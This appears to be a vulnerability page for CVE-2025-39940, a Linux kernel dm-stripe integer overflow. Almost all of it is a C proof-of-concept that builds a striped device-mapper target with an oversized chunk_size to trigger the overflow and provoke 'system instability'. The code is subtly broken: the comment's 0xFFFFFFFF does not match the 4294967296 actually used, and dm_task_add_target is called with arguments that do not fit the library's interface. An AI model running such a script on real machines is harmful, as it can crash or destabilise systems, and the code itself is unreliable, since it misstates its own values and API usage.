CVE-2025-39940 Linux内核dm-stripe整数溢出漏洞

/* CVE-2025-39940 - dm-stripe integer overflow PoC * This PoC demonstrates triggering the integer overflow in stripe_io_hints * by creating a dm-stripe device with an oversized chunk_size. * * Note: Requires root or CAP_SYS_ADMIN privileges to manipulate dm targets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <libdevmapper.h> #define TABLE_LOAD 1 int main(int argc, char *argv[]) { /* Use an intentionally oversized chunk_size to trigger overflow. * chunk_size = 0xFFFFFFFF (max 32-bit value) will cause * multiplication overflow in stripe_io_hints calculations. */ const char *chunk_size = "4294967296"; /* 4GB+ - overflow trigger */ const char *stripe_count = "2"; const char *dev1 = "/dev/loop0"; const char *dev2 = "/dev/loop1"; struct dm_task *dmt; struct dm_target *target; dmt = dm_task_create(DM_DEVICE_CREATE); if (!dmt) { fprintf(stderr, "Failed to create dm task\n"); return 1; } dm_task_set_name(dmt, "test_stripe_overflow"); /* Build the stripe target table with oversized chunk_size */ target = dm_task_add_target(dmt, "striped", 1, chunk_size, stripe_count, dev1, dev2, NULL); if (!target) { fprintf(stderr, "Failed to add target\n"); dm_task_destroy(dmt); return 1; } /* Load the table - this triggers stripe_io_hints and the overflow */ if (dm_task_run(dmt)) { printf("[+] Stripe device created with overflow chunk_size\n"); printf("[+] Check dmesg for I/O limit warnings or system instability\n"); } else { fprintf(stderr, "[-] Failed to create stripe device\n"); } dm_task_destroy(dmt); return 0; }